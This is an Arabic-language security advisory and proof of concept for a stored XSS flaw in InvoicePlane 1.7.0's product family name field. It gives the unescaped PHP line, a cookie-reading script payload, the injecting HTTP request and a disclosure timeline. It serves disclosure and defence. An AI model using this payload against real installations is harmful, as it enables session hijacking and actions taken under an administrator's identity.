
# إثبات مفهوم XSS المخزّن لـ InvoicePlane 1.7.0 عبر حقل اسم العائلة، بما في ذلك الحمولة والطلب وتحليل الأثر لأغراض البحث الدفاعي.
الثغرة: Cross-Site Scripting (XSS) مخزّن عبر حقل اسم العائلة
المنتج: InvoicePlane
الإصدار المتأثر: 1.7.0 (وعلى الأرجح الإصدارات السابقة)
الخطورة: متوسطة
درجة CVSS 3.1: 4.8 (CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N)
CWE: CWE-79: عدم تحييد المدخلات بشكل صحيح أثناء توليد صفحة الويب
اكتشفها: Leonidas Agathos
تاريخ التقرير: 2026-01-31
يقبل حقل family_name في نموذج عائلة المنتج (/index.php/families/form) مدخلات عشوائية دون تنقية. يتم تخزين القيمة في قاعدة البيانات ثم يتم عرضها لاحقًا دون ترميز في القائمة المنسدلة لعائلة المنتج في صفحة إنشاء/تعديل المنتج، مما يتسبب في تنفيذ JavaScript لأي مسؤول يزور نموذج المنتج.
الملف المعرّض للثغرة: application/modules/products/views/form.php:40
// Line 40
><?php echo $family->family_name; ?></option>
الخطوة 1 — حقن الحمولة في اسم العائلة
انتقل إلى /index.php/families/form وأرسل ما يلي كاسم العائلة:
<script>alert('domain:'+document.domain+'cookies:'+document.cookie)</script>
الطلب:
POST /index.php/families/form HTTP/1.1
Host: 172.25.0.12
Content-Type: application/x-www-form-urlencoded
_ip_csrf=...&btn_submit=1&is_update=0&family_name=%3Cscript%3Ealert%28document.cookies%29%3C%2Fscript%3E

الخطوة 2 — تشغيل XSS
انتقل إلى /index.php/products/form. يتم تشغيل الحمولة عند عرض القائمة المنسدلة للعائلة.

أي مسؤول يزور صفحة إنشاء أو تعديل المنتج سيتم تنفيذ الحمولة في متصفحه. وهذا يتيح اختطاف الجلسة (إذا لم تكن ملفات تعريف الارتباط HttpOnly)، وسرقة رموز CSRF، وتنفيذ إجراءات بهوية الضحية.
| التاريخ | الحدث |
|---|---|
| 2026-01-30 | اكتشاف الثغرة |
| 2026-01-31 | تطوير إثبات المفهوم |
| 2026-01-31 | إخطار البائع |
| 2026-02-04 | إقرار البائع |
| 2026-02-04 | إصدار التصحيح |
| 2026-02-05 | الكشف العام |
تم اكتشاف هذه الثغرة أثناء بحث أمني مستقل. يتم توفير جميع المعلومات strictly لأغراض تعليمية وبحثية ودفاعية لمساعدة البائع والمجتمع الأمني في فهم المشكلة ومعالجتها. أي استخدام خبيث لهذه المعلومات محظور تمامًا.